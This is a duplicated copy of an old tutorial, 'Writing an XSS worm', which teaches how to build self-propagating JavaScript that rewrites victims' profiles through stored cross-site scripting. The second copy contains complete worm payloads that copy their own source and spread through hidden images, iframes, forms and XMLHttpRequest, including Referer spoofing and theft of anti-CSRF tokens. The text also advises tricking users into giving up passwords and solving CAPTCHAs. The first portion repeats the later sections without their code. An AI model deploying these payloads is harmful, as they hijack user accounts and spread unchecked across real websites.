Asks User for Re-Authentication (i.e. password)
Requires social engineering, should not be difficult since the site would normally have the data anyways, so the user would (and should) not qualm at giving the data to them.
This could be defeated if the user's pasword hash or password is stored in a cookie. By either decoding the cookie or querying some online reverse-lookup hash databases, or querying an IRC bot through a web interface is possible, but would probably generate a significant time delay.
Has a CAPTCHA or other form of automation prevention
Requires social engineering to get the user to fill out the CAPTCHA for you.
Accepts input via POST Only
Can be done with an IFRAME, a FORM/IFRAME Combination, AJAX or Advanced Flash.
Attempts to break out of frames
Cannot be done with an IFRAME (to the best of my knowledge, I have not delved into this area much), but with the decline in the popularity of shoddy Javascripts which attempt to break out of frames, this should almost never be an issue. It can be done with a FORM/IFRAME Combination, but if the final page breaks out of the frames then you may alert the user.
============================
As you can see AJAX seems to be a rather useful tool for beating technical limitations, and while it is very nice and clean, you _will_ face problems with restrictive permission settings in IE, where the XMLHTTPRequest object is implemented via ActiveX. So while it is very nice technology, and would most likely get through where security permissions are set up to ask the user (since most users will agree to ActiveX controls from trusted websites), in places where it is not it will fail, *but* a nice feature of AJAX is that you can easily tell when the ActiveX components has been rejected and insert some handling code if you like.
Update: Flash is also a very nice payload, but it is more easily restricted since it has to come from an EMBED tag, whereas AJAX can be stuck onto an existing XSS attack vector. On the other hand if you can find an XSS vulnerbaility where you can make use of flash it will be a very nice payload since it is generally not considered a security risk and therefore does not have the same problems as AJAX does on IE, on the other hand as is later explained, the Advanced Flash technique does not completely work on Firefox. There are problems with using flash too but they mainly revolve around the fact that the issues here be patched in Flash 9, which will also be availiable on Linux (unlike Flash 8), but untill that is released Flash is probably the easiest and almost the most powerful way to go.
======================
3.0 Finding The Source
======================
Depending on what code you are actually spreading, you may or may not need to have the worm find its own source, and then put it into a variable for later writing, I will discuss this situation rather than one where you spread a simple script tag with an SRC attribute or similar.
There would be 2 places you would need to extract code from, either enclosed within a tag, or in the attributes of a tag.
For getting data from inside a tag (i.e. not an attribute, but contained within it), for example if you're using a <script> tags to hold your code, then you simply need to use the .innerHTML (or .text, but i think .text is only supported on Mozilla/Firefox) property. So lets have a look at some code then:
Works like a charm, and if you have problems with inserting an id then you could always search through an array returned by document.getElementsByTagName()
For getting attributes out, its a bit harder, but probably a more likely situation. Lets use an example of a body element with an onLoad attribute into which we have inserted our worm.
The easiest solution is to find the tag on the page (which is most easily achieved by giving the tag an id), and then using the getAttribute() Method to extract its own code, here's a quick example:
Now this will work perfectly in Firefox and create an alert of itself exactly as it is there. We will though have a problem with IE, since its version of getAttribute() returns the code inside an anonymous function, so what we would get alert()-ed instead would be (approximately):
Which doesn't work for our purposes at all. We need to cut the first and last lines of what b.getAttribute returns if the user is using IE. Luckily its easier than removing the first line and last line, because we can remove the first 23 characters and the last character. Now The easiest way to do this would be to first test the browser, find the range of characters you need and then extract them, so we get:
Now, I didn't mention this earlier, but for some reason IE returns a function instead of a string, so we have to use the .toString() method on the result we get before operating on it or we get errors.
There are a few other methods (i.e. completely different methods, with no resemblance to this one), but this is the easiest method I have found.
Update: When using Flash as a delivery mechanism this is not an issue; again it builds the case for flash, but since flash is a corner case of XSS, this section is still relevant.
======================
4.0 Spreading
======================
Now, we've got all the code we need to spread into a variable we need to write some code to actually spread it!
======================
4.1 IMG Tags
======================
The first way like I said, is to use an IMG tag, which, if you can, is the easiest method to use, and I would use it above all other methods wherever possible.
Now, there are 2 ways to write even this. The first way is to change the SRC property of an image (preferably one you can include and give an id) or generate an image via Javascript, and then adjust the image.
I think that generating an image via Javascript, and then changing the src is way too much effort, *but*, if you include an image you'll have to edit your javascript to keep replicating the image as well, but you will get the benefit of more standard behaviors, and less code to write, and less code which needs to be stored on the servers. So lets get to it.
First we need to add the image in to our code, and modify it to take the image into account:
Easy enough wasn't it, don't forget to use the CSS though, so that not only is it invisible, it doesn't take that element into account when rendering the page (so its better than visibility:false for our purposes).
The next step is to of course make it do something, duh!
For this example lets pretend we have a page called edit_profile.php which takes a single GET parameter (profile), which edits the profile.
And there we go, we've got probably the simplest XSS worm we can create.
======================
4.2 IFRAME Tags
======================
Now onto using iframes. The idea behind using iframes is to load the page into an iframe, and then fill out the form on the page, and then submit it, in case anyone is wondering why this can't be used from another site, it is because you can only interact with the contents of the page if you are on the same domain as the page.
The first bit (like with the IMG tag) is to add it at the beginning of the worm and then add it into the code in the worm like so:
Now the next step is to change the fields in the iframe. For this we'll assume that the form on the page does not have a name (since most applications don't), and the field we want to edit is called profile.
The property our script needs to edit is:
window.frames[0].document.forms[0].elements['profile'].value
And so all we need to get our script to do is edit that value, and then submit the form, like so:
When working with iframes we are loading a separate document, which may or may not load quickly, we may experience problems on slow sites where our code executes before the iframe finishes loading the form elements we want to interact with.
There are a variety of methods you could use to stop such problems occurring here here. The first would be to set the onLoad attribute of the iframe like so:
And essentially that should work, except for a very small chance of some extremely bad timing occurring (e.g. setting the onLoad event to set() and the event getting executed before you can define set()), it should be fine. Or even less likely the form could get loaded before you can set the onLoad attribute and it will never get executed, but both these cases are so unlikely that you shouldn't worry about them.
The second, less clean, method is to create a 'timer' (In the sense of the word, that you can say you want a block of code to get executed every X milliseconds) using [window.]setInterval() - Just a quick not about the notation, by [window.]setInterval() I mean that the function resides within the document object, but not necessary when calling the function - and [window.]clearInterval() to get rid of the timer. And make that timer see if it can access the window.frames[0].forms[0].elements[0].value property, and if you can't keep spinning, but if you can then clear the interval and execute your code.
Use whatever method you like, but I would go for setting the onLoad attribute because its cleaner, and there's no need for some code being executed over and over again.
Phew! That was enough to get me to question wether or not iframes are preferable to AJAX, but considering that AJAX is used via an ActiveX object in IE (this problem will be resolved in IE7 so we have a standard implementation), you would run into ActiveX restrictions.
======================
4.3 AJAX
======================
AJAX has been hyped quite a lot recently, and while you can do a lot of useful things with it you can also do a lot of destructive things with it, a lot of them centering around IE being dodgy, etc, but anyways, this isn't about AJAX security, this is about how to use AJAX in an XSS worm. Firstly a quick warning, AJAX is awful to debug, absolutely awful, since you generally (especially in IE) see AJAX happening, and in Firefox you have to rely on extensions, so it hurts sometimes, but enough of that lets get some code happening. We'll start off with our existing code for your worm which uses an IMG tag, and make it do the same thing but with AJAX:
Anyways, all that the majority of new code there does is try to compensate for different implementations of the same XMLHttpRequest (XHR from here on in) object. The other line simply sends our request, easy enough.
Now lets go to the scenario where we need to spoof the referer, things start getting a tiny bit complex here:
Alright, so it didn't get too complex, but it was difficult trying to work out why PHP didn't want to create the appropriate superglobal arrays (lack of the Content-Type Request header), but essentially that all you need to do. You can and probably should set up a request handler to account for things, but for something like the above its not needed, we'll work on a more difficult example now.
Lets say the page we're sending things to has been updated yet again, and this time it prevents standard CSRF attacks by having a hidden field variable which is in the page, and needs to be sent with the request, well, that would be easy enough to bypass by using iframes, but if we need to spoof a Referer header as well, we need some AJAX.
For this example lets assume that the field will always be of the form:
Where X is a random string, which can contain any character other than a single quote. The simplest solution to extracting that would be to use Regular Expressions, which is what we will do in the following example:
Alright, there isn't too much new in there, except for the use of the onreadystatechange property of the XHR property, which allows us to set a callback function which is called whenever the readystate of the object changes, the states that the object can be in are:
0 = uninitialized
1 = loading
2 = loaded
3 = interactive
4 = complete
And if we wanted to have some kind of debugging data then we could use those for information, but since we don't really want to notify the victim of anything, and want to minimise the size of our code, we won't do anything other than check that the transaction has been complete so that we can work with it, because that function will be called at least 4 times. it is also possible to check what status code the XHR object returned by using the status (or statusText for debugging) to do some error handling, like trying to run the code again or something, but for the sake of code size and simplicity I'll leave that out.
======================
4.4 FORM/IFRAME Combination
======================
Another idea for how to send data via POST to a page is to use a form. Now the most basic configuration of a form where the form target is the window it is loaded in is really obvious and ugly. But with a form we can specify a target, which could be a new window a frame, or even an iframe. I'll concentrate on the iframe idea since it seems like the leas tobvious, and the cleanest.
The positive aspect of using a form on the page that you are executing your worm from rather than from inside an iframe is that you don't need to load a form from which you submit data, because your worm will contain a form which submits all the needed data. On the other hand you cannot spoof the referer (or anything else for that matter) using this method. But it is also slightly easier (IMO) than using iframes. So here goes:
So, alright, its not that much easier than the iframe, but you don't have to worry about any loading issues here. And its just another way, something you should be aware of, if not use.
======================
4.5 Flash
======================
The delivery of worms via flash comes in two categories, which i will henceforth refer to as simple and advanced. This is not really a reflection on the difficulty of creating a worm through one of these methods, rather it is a reflection of the cleanliness of the interface we are using, so to speak. Anyway, onto the code.
======================
4.5.1 Simple Flash XSS
======================
The principle behind so called simple flash XSS is quite simplistic. It is the injection of a javascript: url into the browser.
It can easily be achieved through using the getURL function to arbitarily send the user to any URL, in our case a javascript: URL. After that is done the code we send would be the same as we would normally use in any other XSS attack vector, so I don't believe anything more really needs to be said.
======================
4.5.1 More Advanced Flash XSS
======================
The more interesting application of Flash in XSS worms is the ability to send (more or less) arbitary request headers[1]. And since I do not know enough about Flash to claim any actual knowledge of this idea other than its existance I believe that a quote from Amit Klein's paper will be much more ideal:
After a bit of testing it is dissapointing to learn that if headers are sent more than once then PHP simply appends them together with a comma and a space as separaters, and since most web apps will only check if a string is equal, this rules out Referer spoofing on Firefox.
Sending POST requests is still possible though, and so if you need to send post requests but do not need to perform Referer spoofing and don't want to worry about finding source code in the page, and how AJAX works, getting it to work on IE, etc, then Flash is a very nice choice.
I don't think I need to provide an example for this section, so unless someone really needs one (which I hope you don't), so you'll have to write your own.
======================
5.0 Final Notes
======================
As you can see if you can execute arbitary Javascript code you can do a lot of damage, especially if you have access ot the XXMLHttpRequest Object, in which case you can forge absolutely everything which does not require user intelligence (such as being able to decode a CAPTCHA, which you can socially engineer the victim into decoding for you anyway, or having the user enter a assword or similar).
Also, to minimise the size of the code here you can always do things like replacing all my calls to the [String.]concat() method to concatenate strings, with plus signs to concatenate strings, or performing other little shortcuts, or shortening variable names, but the code should be short enough to pass in most places.
Update:Furthermore, if you have the ability to embed Flash files, then writing an XSS worm is generally much simpler than using AJAX, but it is also something that you will rarely find when trying to evade filters. So if you are more comfortable using Flash then your life just got much easier.
A quick explanatory note:
First of all Flash was initially left out because I only knew about the method of executing Javascript and thought that would be better covered somewhere which deals with XSS vectors rather than their payloads, and so did not choose to include it. I have included the simple version in version 0.3 for a bit more completeness. Amit Klien's paper came out about 2-3 weeks after I published version 0.2 of this (which itself was published more than 2 months before that), and as I had only very ilmited experience with Flash I did not myself know of the system in place.
Written by kuza55.
Update:
======================
6.0 References
======================
Everything up to version 0.2 was done from my own knowledge and discovery and so a references section was not needed. Now with the addition of Flash I have some references.
[1] "Forging HTTP Request Headers with Flash ActionScript" by Amit Klein
http://www.securityfocus.com/archive/1/441014/30/
Writing an XSS worm
Version 0.3 (Updated 17/10/06)
By kuza55
===========================
Contents:
1.0 Introduction to XSS worms
2.0 Reconnaissance
3.0 Finding the Source
4.0 Spreading
4.1 IMG Tags
4.2 IFRAME Tags
4.3 AJAX
4.4 FORM/IFRAME Combination
4.5 Flash
4.5.1 Simple Flash XSS
4.5.2 More Advanced Flash XSS
5.0 Final Notes
6.0 References
======================
1.0 Introduction
======================
Firstly, we need to know what a(n XSS) worm is. A worm is essentially a piece of (often malicious) code which replicates itself through some means. An XSS worm is the same idea applied to stored XSS holes, e.g. User profiles where users can inject Javascript through some means. This tutorial will use the example of some online software which allows users to input unrestricted HTML on their own page.
This tutorial will focus on writing the actual code to spread, rather than finding a flaw which can be exploited in this way. Methods of Filter evasion are also out of the scope of this tutorial, and there is already much information in that regard available.
======================
2.0 Reconnaissance
======================
Firstly you (obviously) need to find the XSS flaw, but you also need to do some reconnaissance to find what kind of information needs to be sent for it to update a user's profile. The first obvious requirement for almost all applications is that the user must be logged in when viewing the page for it to work. Other requirements may also be in place including the checking of a Referer header, or only accepting arguments via post (as opposed to accepting arguments via any combination of GET/POST/Cookie/etc, as would be the case if using something similar to PHP's $_REQUEST variables).
Once all these things are scoped out you need to analyse wether or not its viable to write an XSS worm, and what the best method of spreading your code would be.
Here's a small listing which should help you decide (though you may have thoughts of your own, these are merely mine), which method would be best.
===========================
Listing 1 - Method Decision Helper
Accepts input via GET
Can be done with an IMG/IFRAME tag, a FORM/IFRAME Combination, AJAX or Flash.
Essentially any form of XSS can be used here, this is obviously the easiest to exploit.
Checks Referer
Cannot be done via IMG tag or Form/IFRAME Combination.
So the methods left are AJAX, and advanced Flash on IE (more on this later).
Asks User for Re-Authentication (i.e. password)
Requires social engineering, should not be difficult since the site would normally have the data anyways, so the user would (and should) not qualm at giving the data to them.
This could be defeated if the user's pasword hash or password is stored in a cookie. By either decoding the cookie or querying some online reverse-lookup hash databases, or querying an IRC bot through a web interface is possible, but would probably generate a significant time delay.
Has a CAPTCHA or other form of automation prevention
Requires social engineering to get the user to fill out the CAPTCHA for you.
Accepts input via POST Only
Can be done with an IFRAME, a FORM/IFRAME Combination, AJAX or Advanced Flash.
Attempts to break out of frames
Cannot be done with an IFRAME (to the best of my knowledge, I have not delved into this area much), but with the decline in the popularity of shoddy Javascripts which attempt to break out of frames, this should almost never be an issue. It can be done with a FORM/IFRAME Combination, but if the final page breaks out of the frames then you may alert the user.
============================
As you can see AJAX seems to be a rather useful tool for beating technical limitations, and while it is very nice and clean, you _will_ face problems with restrictive permission settings in IE, where the XMLHTTPRequest object is implemented via ActiveX. So while it is very nice technology, and would most likely get through where security permissions are set up to ask the user (since most users will agree to ActiveX controls from trusted websites), in places where it is not it will fail, *but* a nice feature of AJAX is that you can easily tell when the ActiveX components has been rejected and insert some handling code if you like.
Update: Flash is also a very nice payload, but it is more easily restricted since it has to come from an EMBED tag, whereas AJAX can be stuck onto an existing XSS attack vector. On the other hand if you can find an XSS vulnerbaility where you can make use of flash it will be a very nice payload since it is generally not considered a security risk and therefore does not have the same problems as AJAX does on IE, on the other hand as is later explained, the Advanced Flash technique does not completely work on Firefox. There are problems with using flash too but they mainly revolve around the fact that the issues here be patched in Flash 9, which will also be availiable on Linux (unlike Flash 8), but untill that is released Flash is probably the easiest and almost the most powerful way to go.
======================
3.0 Finding The Source
======================
Depending on what code you are actually spreading, you may or may not need to have the worm find its own source, and then put it into a variable for later writing, I will discuss this situation rather than one where you spread a simple script tag with an SRC attribute or similar.
There would be 2 places you would need to extract code from, either enclosed within a tag, or in the attributes of a tag.
For getting data from inside a tag (i.e. not an attribute, but contained within it), for example if you're using a <script> tags to hold your code, then you simply need to use the .innerHTML (or .text, but i think .text is only supported on Mozilla/Firefox) property. So lets have a look at some code then:
<script id=worm>
b = document.getElementById('worm');
var myString = unescape('<script id=worm>');
myString = myString.concat(b.innerHTML);
myString = myString.concat(unescape('</script>'));
alert(myString);
</script>
Works like a charm, and if you have problems with inserting an id then you could always search through an array returned by document.getElementsByTagName()
For getting attributes out, its a bit harder, but probably a more likely situation. Lets use an example of a body element with an onLoad attribute into which we have inserted our worm.
The easiest solution is to find the tag on the page (which is most easily achieved by giving the tag an id), and then using the getAttribute() Method to extract its own code, here's a quick example:
<body id=worm onLoad="b = document.getElementById('worm');
var myString = unescape('<body id=worm C=%22>%22 onLoad=%22');
myString = myString.concat(b.getAttribute('onLoad'));
myString = myString.concat(unescape('%22>'));
alert(myString);
">
Now this will work perfectly in Firefox and create an alert of itself exactly as it is there. We will though have a problem with IE, since its version of getAttribute() returns the code inside an anonymous function, so what we would get alert()-ed instead would be (approximately):
<body id=worm onLoad="function anonymous()
{
b = document.getElementById('worm');
var myString = unescape('<body id=worm C=%22>%22 onLoad=%22');
myString = myString.concat(b.getAttribute('onLoad'));
myString = myString.concat(unescape('%22>'));
alert(myString);
}">
Which doesn't work for our purposes at all. We need to cut the first and last lines of what b.getAttribute returns if the user is using IE. Luckily its easier than removing the first line and last line, because we can remove the first 23 characters and the last character. Now The easiest way to do this would be to first test the browser, find the range of characters you need and then extract them, so we get:
<body id=worm onLoad="var a = document.getElementById('worm'); var c = a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
alert(myString);">
Now, I didn't mention this earlier, but for some reason IE returns a function instead of a string, so we have to use the .toString() method on the result we get before operating on it or we get errors.
There are a few other methods (i.e. completely different methods, with no resemblance to this one), but this is the easiest method I have found.
Update: When using Flash as a delivery mechanism this is not an issue; again it builds the case for flash, but since flash is a corner case of XSS, this section is still relevant.
======================
4.0 Spreading
======================
Now, we've got all the code we need to spread into a variable we need to write some code to actually spread it!
======================
4.1 IMG Tags
======================
The first way like I said, is to use an IMG tag, which, if you can, is the easiest method to use, and I would use it above all other methods wherever possible.
Now, there are 2 ways to write even this. The first way is to change the SRC property of an image (preferably one you can include and give an id) or generate an image via Javascript, and then adjust the image.
I think that generating an image via Javascript, and then changing the src is way too much effort, *but*, if you include an image you'll have to edit your javascript to keep replicating the image as well, but you will get the benefit of more standard behaviors, and less code to write, and less code which needs to be stored on the servers. So lets get to it.
First we need to add the image in to our code, and modify it to take the image into account:
<img style='display:hidden;' width=0 height=0 id=wormimg><body id=worm onLoad="var a = document.getElementById('worm'); var c = a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<img style=\'display:hidden;\' width=0 height=0 id=wormimg><body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));">
Easy enough wasn't it, don't forget to use the CSS though, so that not only is it invisible, it doesn't take that element into account when rendering the page (so its better than visibility:false for our purposes).
The next step is to of course make it do something, duh!
For this example lets pretend we have a page called edit_profile.php which takes a single GET parameter (profile), which edits the profile.
<img style='display:hidden;' width=0 height=0 id=wormimg><body id=worm onLoad="var a = document.getElementById('worm'); var c = a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<img style=\'display:hidden;\' width=0 height=0 id=wormimg><body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
myString = escape(myString);
var img = document.getElementById ('wormimg');
var url = 'edit_profile.php?profile=';
url = url.concat(escape(myString));
img.src = url;">
And there we go, we've got probably the simplest XSS worm we can create.
======================
4.2 IFRAME Tags
======================
Now onto using iframes. The idea behind using iframes is to load the page into an iframe, and then fill out the form on the page, and then submit it, in case anyone is wondering why this can't be used from another site, it is because you can only interact with the contents of the page if you are on the same domain as the page.
The first bit (like with the IMG tag) is to add it at the beginning of the worm and then add it into the code in the worm like so:
<iframe style='display:hidden;' width=0 height=0 src=edit_profile.php id=wormiframe></iframe><body id=worm onLoad="var a = document.getElementById('worm'); var c = a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<iframe style=\'display:hidden;\' width=0 height=0 src=edit_profile.php id=wormiframe></iframe><body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));">
Now the next step is to change the fields in the iframe. For this we'll assume that the form on the page does not have a name (since most applications don't), and the field we want to edit is called profile.
The property our script needs to edit is:
window.frames[0].document.forms[0].elements['profile'].value
And so all we need to get our script to do is edit that value, and then submit the form, like so:
<iframe style='display:hidden;' width=0 height=0 src=edit_profile.php id=wormiframe></iframe><body id=worm onLoad="var a = document.getElementById('worm'); var c = a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<iframe style=\'display:hidden;\' width=0 height=0 src=edit_profile.php id=wormiframe></iframe><body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
window.frames[0].document.forms[0].elements['profile'].value = myString;
window.frames[0].document.forms[0].submit();">
When working with iframes we are loading a separate document, which may or may not load quickly, we may experience problems on slow sites where our code executes before the iframe finishes loading the form elements we want to interact with.
There are a variety of methods you could use to stop such problems occurring here here. The first would be to set the onLoad attribute of the iframe like so:
<iframe style='display:hidden;' width=0 height=0 src=edit_profile.php id=wormiframe></iframe><body id=worm onLoad="var a = document.getElementById('worm'); var c = a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<iframe style=\'display:hidden;\' width=0 height=0 src=edit_profile.php id=wormiframe></iframe><body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
var d = document.getElementById('wormiframe');
d.setAttribute('onLoad', 'set();');
function set () {
window.frames[0].document.forms[0].elements['profile'].value = myString;
window.frames[0].document.forms[0].submit();
}">
And essentially that should work, except for a very small chance of some extremely bad timing occurring (e.g. setting the onLoad event to set() and the event getting executed before you can define set()), it should be fine. Or even less likely the form could get loaded before you can set the onLoad attribute and it will never get executed, but both these cases are so unlikely that you shouldn't worry about them.
The second, less clean, method is to create a 'timer' (In the sense of the word, that you can say you want a block of code to get executed every X milliseconds) using [window.]setInterval() - Just a quick not about the notation, by [window.]setInterval() I mean that the function resides within the document object, but not necessary when calling the function - and [window.]clearInterval() to get rid of the timer. And make that timer see if it can access the window.frames[0].forms[0].elements[0].value property, and if you can't keep spinning, but if you can then clear the interval and execute your code.
Use whatever method you like, but I would go for setting the onLoad attribute because its cleaner, and there's no need for some code being executed over and over again.
Phew! That was enough to get me to question wether or not iframes are preferable to AJAX, but considering that AJAX is used via an ActiveX object in IE (this problem will be resolved in IE7 so we have a standard implementation), you would run into ActiveX restrictions.
======================
4.3 AJAX
======================
AJAX has been hyped quite a lot recently, and while you can do a lot of useful things with it you can also do a lot of destructive things with it, a lot of them centering around IE being dodgy, etc, but anyways, this isn't about AJAX security, this is about how to use AJAX in an XSS worm. Firstly a quick warning, AJAX is awful to debug, absolutely awful, since you generally (especially in IE) see AJAX happening, and in Firefox you have to rely on extensions, so it hurts sometimes, but enough of that lets get some code happening. We'll start off with our existing code for your worm which uses an IMG tag, and make it do the same thing but with AJAX:
<body id=worm onLoad="var a = document.getElementById('worm'); var c = a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
var url = 'edit_profile.php?profile=';
url = url.concat(escape(myString));
var h = false;
if (window.XMLHttpRequest){
h = new XMLHttpRequest();
} else if (window.ActiveXObject) {
try {
h = new ActiveXObject('Msxml2.XMLHTTP');
} catch (e) {
try {
h = new ActiveXObject('Microsoft.XMLHTTP');
} catch (e) {}
}
}
if (h) {
h.open('GET', url, true);
h.send();
}
">
Anyways, all that the majority of new code there does is try to compensate for different implementations of the same XMLHttpRequest (XHR from here on in) object. The other line simply sends our request, easy enough.
Now lets go to the scenario where we need to spoof the referer, things start getting a tiny bit complex here:
<body id=worm onLoad="var a = document.getElementById('worm'); var c = a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
var url = 'edit_profile.php';
var ref = 'http://www.domain.tld/edit_profile.php';
var params = 'profile=';
params = params.concat(myString);
var h = false;
if (window.XMLHttpRequest){
h = new XMLHttpRequest();
} else if (window.ActiveXObject) {
try {
h = new ActiveXObject('Msxml2.XMLHTTP');
} catch (e) {
try {
h = new ActiveXObject('Microsoft.XMLHTTP');
} catch (e) {}
}
}
if (h) {
h.open('POST', url, true);
h.setRequestHeader('Referer', ref);
h.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
h.setRequestHeader('Content-length', params.length);
h.setRequestHeader('Connection', 'close');
h.send(params);
}
">
Alright, so it didn't get too complex, but it was difficult trying to work out why PHP didn't want to create the appropriate superglobal arrays (lack of the Content-Type Request header), but essentially that all you need to do. You can and probably should set up a request handler to account for things, but for something like the above its not needed, we'll work on a more difficult example now.
Lets say the page we're sending things to has been updated yet again, and this time it prevents standard CSRF attacks by having a hidden field variable which is in the page, and needs to be sent with the request, well, that would be easy enough to bypass by using iframes, but if we need to spoof a Referer header as well, we need some AJAX.
For this example lets assume that the field will always be of the form:
<input name='check' type='hidden' value='X' />
Where X is a random string, which can contain any character other than a single quote. The simplest solution to extracting that would be to use Regular Expressions, which is what we will do in the following example:
<body id=worm onLoad="var a = document.getElementById('worm'); var c = a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
var url = 'edit_profile.php';
var ref = 'http://www.domain.tld/edit_profile.php';
var params = 'profile=';
params = params.concat(myString);
function getXHR() {
var h = false;
if (window.XMLHttpRequest){
h = new XMLHttpRequest();
} else if (window.ActiveXObject) {
try {
h = new ActiveXObject('Msxml2.XMLHTTP');
} catch (e) {
try {
h = new ActiveXObject('Microsoft.XMLHTTP');
} catch (e) {}
}
}
return h;
}
function r () {
if (h.readyState == 4) {
var value = h.responseText.match( /\<input name=\'check\' type=\'hidden\' value=\'([^\']+\') \/\>/ );
params = params.concat('&check=');
params = params.concat(escape(value[1]));
var h = getXHR(); //since we use the keyword var this is a local variable, not the one we just used
if (h) {
h.open('POST', url, true);
h.setRequestHeader('Referer', ref);
h.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
h.setRequestHeader('Content-length', params.length);
h.setRequestHeader('Connection', 'close');
h.send(params);
}
}
}
h = getXHR();
if (h) {
h.onreadystatechange = r;
h.open('GET', url, true);
h.send();
}
">
Alright, there isn't too much new in there, except for the use of the onreadystatechange property of the XHR property, which allows us to set a callback function which is called whenever the readystate of the object changes, the states that the object can be in are:
0 = uninitialized
1 = loading
2 = loaded
3 = interactive
4 = complete
And if we wanted to have some kind of debugging data then we could use those for information, but since we don't really want to notify the victim of anything, and want to minimise the size of our code, we won't do anything other than check that the transaction has been complete so that we can work with it, because that function will be called at least 4 times. it is also possible to check what status code the XHR object returned by using the status (or statusText for debugging) to do some error handling, like trying to run the code again or something, but for the sake of code size and simplicity I'll leave that out.
======================
4.4 FORM/IFRAME Combination
======================
Another idea for how to send data via POST to a page is to use a form. Now the most basic configuration of a form where the form target is the window it is loaded in is really obvious and ugly. But with a form we can specify a target, which could be a new window a frame, or even an iframe. I'll concentrate on the iframe idea since it seems like the leas tobvious, and the cleanest.
The positive aspect of using a form on the page that you are executing your worm from rather than from inside an iframe is that you don't need to load a form from which you submit data, because your worm will contain a form which submits all the needed data. On the other hand you cannot spoof the referer (or anything else for that matter) using this method. But it is also slightly easier (IMO) than using iframes. So here goes:
<iframe style='display:hidden;' width=0 height=0 name=wormiframe></iframe><form action=edit_profile.php method=post target=wormiframe><input name=profile /></form><body id=worm onLoad="var a = document.getElementById('worm'); var c = a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<iframe style=\'display:hidden;\' width=0 height=0 name=wormiframe></iframe><form action=edit_profile.php method=post target=wormiframe><input name=profile /></form><body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
document.forms[0].elements['profile'].value = myString;
document.forms[0].submit();">
So, alright, its not that much easier than the iframe, but you don't have to worry about any loading issues here. And its just another way, something you should be aware of, if not use.
======================
4.5 Flash
======================
The delivery of worms via flash comes in two categories, which i will henceforth refer to as simple and advanced. This is not really a reflection on the difficulty of creating a worm through one of these methods, rather it is a reflection of the cleanliness of the interface we are using, so to speak. Anyway, onto the code.
======================
4.5.1 Simple Flash XSS
======================
The principle behind so called simple flash XSS is quite simplistic. It is the injection of a javascript: url into the browser.
It can easily be achieved through using the getURL function to arbitarily send the user to any URL, in our case a javascript: URL. After that is done the code we send would be the same as we would normally use in any other XSS attack vector, so I don't believe anything more really needs to be said.
======================
4.5.1 More Advanced Flash XSS
======================
The more interesting application of Flash in XSS worms is the ability to send (more or less) arbitary request headers[1]. And since I do not know enough about Flash to claim any actual knowledge of this idea other than its existance I believe that a quote from Amit Klein's paper will be much more ideal:
The following is ActionScript 2.0 syntax for sending out a GET
request (in this example, to
http://www.vuln.site/some/page.cgi?p1=v1&p2=v2) with an arbitrary
HTTP header (Foo: Bar). This code works with Flash 7 and Flash 8
(probably with Flash 6 as well):
var req:LoadVars=new LoadVars();
req.addRequestHeader("Foo","Bar");
req.send("http://www.vuln.site/some/page.cgi?p1=v1&p2=v2",
"_blank","GET");
A similar syntax will send POST request (with the same header, to
the same URL, and with body a=b&c=d):
var req:LoadVars=new LoadVars();
req.addRequestHeader("Foo","Bar");
req.decode("a=b&c=d");
req.send("http://www.vuln.site/some/page.cgi?p1=v1&p2=v2",
"_blank","POST");
(note: the LoadVars.decode() method was added in Flash 7, yet
it's probably possible to compose an arbitrary POST body without
it, so Flash 6 may be covered as well by this variant).
